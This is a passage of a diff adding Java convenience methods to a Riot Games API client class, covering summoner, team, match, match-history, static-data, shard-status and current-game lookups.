+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(String summonerName) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+    
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+   }
+   
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+  public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+      return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+  }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @param endIndex The end index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, endIndex);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, -1);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+    public PlayerHistory getMatchHistory(Region region, long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList() throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region, String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList() throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm() throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(getRegion(), getKey());
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(Region region, String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList() throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region, String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList() throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region, String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList() throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions() throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(getRegion(), getKey());
+    }
+    
+    /**
+    *
+    */
+   public List<String> getDataLanguages(Region region) throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(region.getName(), getKey());
+   }
+
+   /**
+    *
+    */
+   public List<String> getDataLanguages() throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(getRegion(), getKey());
+   }
+   
+    /**
+    *
+    */
+   public List<Shard> getShards() throws RiotApiException {
+
+       return StatusMethod.getShards();
+   }
+   
+   /**
+   *
+   */
+  public ShardStatus getShardStatus(Region region) throws RiotApiException {
+
+      return StatusMethod.getShardStatus(region.getName());
+  }
+
+   /**
+   *
+   */
+  public ShardStatus getShardStatus() throws RiotApiException {
+
+     return StatusMethod.getShardStatus(getRegion());
+ }
+  
+	  /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), null, null);
+	 }
+
+	  /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), null, null);
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames(Region region) throws RiotApiException {
+	
+	     return FeaturedGamesMethod.getFeaturedGames(region.getName(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames() throws RiotApiException {
+			
+	     return FeaturedGamesMethod.getFeaturedGames(getRegion(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public CurrentGameInfo getCurrentGameInfo(PlatformId platformId, long summonerId) throws RiotApiException {
+	
+	     return CurrentGameMethod.getCurrentGameInfo(platformId, getKey(), summonerId);
+	 }
+	 
+    /**
+     * Get the currently set season
+     *
+     * @return The currently set season
+     */
+    public String getSeason() {
+    	if(season == null){
+    		return null;
+    	}
+        return season.getName();
+    }
+
+    /**
+     * Get the currently set API key
+     *
+     * @return The currently set API key
+     */
+    public String getKey() {
+        return key;
+    }
+
+    /**
+     * Get the currently set region
+     *
+     * @return The currently set region
+     * @throws  
+     */
+    public String getRegion() {
+        return region.getName();
+    }
+
+    /**
+     * Set the season
+     *
+     * @param season The season to set
+     */
+    public void setSeason(Season season) {
+        this.season = season;
+    }
+
+    /**
+     * Set the API key
+     *
+     * @param key The API key to set
+     */
